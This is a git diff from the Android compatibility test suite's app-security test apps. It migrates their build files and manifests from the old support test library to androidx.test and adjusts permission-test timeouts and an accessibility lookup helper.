index 2e7739c..aa09a24 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
@@ -25,7 +25,7 @@
android:exported="true" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.storageapp_b" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
index 16d78d7..2e9f00e 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
index 0c4d9d2..371e436 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.storagestatsapp" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
index fea0878..49bb31a 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsTargetInstrumentationApp
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index 7a62f09..f7386a3 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -20,9 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
index ebb0cbf..1424c7c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
@@ -71,7 +71,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.usepermission" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 58ee1c7..7380ad1 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -20,9 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml
index 9d25826..fc9fedd 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml
@@ -72,7 +72,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.usepermission" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index c26caba..a54b9b5 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -17,6 +17,7 @@
package com.android.cts.usepermission;
import static junit.framework.Assert.assertEquals;
+
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.fail;
@@ -31,8 +32,6 @@
import android.os.Bundle;
import android.os.SystemClock;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
@@ -47,20 +46,26 @@
import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
import android.widget.ScrollView;
import android.widget.Switch;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.TimeoutException;
-import junit.framework.Assert;
-import org.junit.Before;
-import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
public abstract class BasePermissionsTest {
private static final String PLATFORM_PACKAGE_NAME = "android";
- private static final long IDLE_TIMEOUT_MILLIS = 500;
- private static final long GLOBAL_TIMEOUT_MILLIS = 5000;
+ private static final long IDLE_TIMEOUT_MILLIS = 1000;
+ private static final long GLOBAL_TIMEOUT_MILLIS = 10000;
private static final long RETRY_TIMEOUT = 3 * GLOBAL_TIMEOUT_MILLIS;
private static final String LOG_TAG = "BasePermissionsTest";
@@ -552,7 +557,9 @@
throws Exception {
AccessibilityNodeInfo result = current;
while (result != null) {
- if (result.getCollectionItemInfo() != null) {
+ // Nodes that are in the hierarchy but not yet on screen may not have collection item
+ // info populated. Use a parent with collection info as an indicator in those cases.
+ if (result.getCollectionItemInfo() != null || hasCollectionAsParent(result)) {
return result;
}
result = result.getParent();
@@ -560,6 +567,10 @@
return null;
}
+ private static boolean hasCollectionAsParent(AccessibilityNodeInfo node) {
+ return node.getParent() != null && node.getParent().getCollectionInfo() != null;
+ }
+
private static AccessibilityNodeInfo findSwitch(AccessibilityNodeInfo root) throws Exception {
if (Switch.class.getName().equals(root.getClassName().toString())) {
return root;
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
index 8528752..94d3c0a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -20,9 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
index c6a6316..2a844e5 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
@@ -73,7 +73,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.usepermission" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
index 52c8ba4..0796d45 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -20,9 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
index 9458db3..8639464 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
@@ -30,7 +30,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.usepermission" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
index 62a15e4..b084ce7 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
@@ -20,9 +20,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp26/src) \
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
index 57a58ab..0b8f9af 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
@@ -29,7 +29,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.usepermission" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index 93d8ddd..9233605 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -22,7 +22,7 @@
../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
index 7acf98f..e587e09 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
@@ -38,5 +38,5 @@
</application>
<instrumentation android:targetPackage="com.android.cts.usespermissiondiffcertapp"
- android:name="android.support.test.runner.AndroidJUnitRunner"/>
+ android:name="androidx.test.runner.AndroidJUnitRunner"/>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
index df12f82..f3d3d31 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml
index 4557af0..4b37d08 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml
@@ -21,6 +21,6 @@
<activity android:name=".MyActivity" />
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.useslibrary" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
index 235a955..356f296 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
LOCAL_PACKAGE_NAME := CtsV3SigningSchemeRotationTest
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml
index 677757f..0afffcd 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/AndroidManifest.xml
@@ -21,5 +21,5 @@
<instrumentation
android:targetPackage="android.appsecurity.cts.v3rotationtests"
- android:name="android.support.test.runner.AndroidJUnitRunner" />
+ android:name="androidx.test.runner.AndroidJUnitRunner" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index b1e84cb..9adb60b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -19,8 +19,8 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util
+ androidx.test.rules \
+ compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml
index 37e39e9..47fb8c1 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.writeexternalstorageapp" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
index 46a6b37..8e05b63 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningABadUpgradeB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
index 9018fdb..a5db503 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningANoDefUpgradeB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
index 98a31b9..4e4ee5c 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningCBadAUpgradeAB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-c
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
index 5cf21b4..76ca560 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
@@ -19,7 +19,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetPermDefSigningA
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
@@ -33,7 +33,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetPermDefSigningB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
index 10c4101..19dba61 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
@@ -19,7 +19,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetPermUseSigningA
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
@@ -34,7 +34,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetPermUseSigningB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index 619f1ce..fe22777 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
LOCAL_PACKAGE_NAME := CtsKeySetTestApp
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml
index 38edf5f..e4f6567 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/AndroidManifest.xml
@@ -21,5 +21,5 @@
<instrumentation
android:targetPackage="com.android.cts.keysets.testapp"
- android:name="android.support.test.runner.AndroidJUnitRunner" />
+ android:name="androidx.test.runner.AndroidJUnitRunner" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
index d47f6bc..cb08b44 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeA
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
@@ -31,7 +31,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningBUpgradeA
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
@@ -44,7 +44,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningEcAUpgradeA
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-ec-a
LOCAL_DEX_PREOPT := false
@@ -57,7 +57,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAAndBUpgradeA
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
index 87655dd..3dd4747 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeAAndB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
index 764886a..7598c5b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeAOrB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
index d0960c4..82efc2c 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
@@ -19,7 +19,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
@@ -34,7 +34,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningBUpgradeB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
@@ -49,7 +49,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAAndCUpgradeB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-c
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
index c6cec13..c65637f 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
@@ -19,7 +19,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSharedUserSigningAUpgradeB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
@@ -34,7 +34,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSharedUserSigningBUpgradeB
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
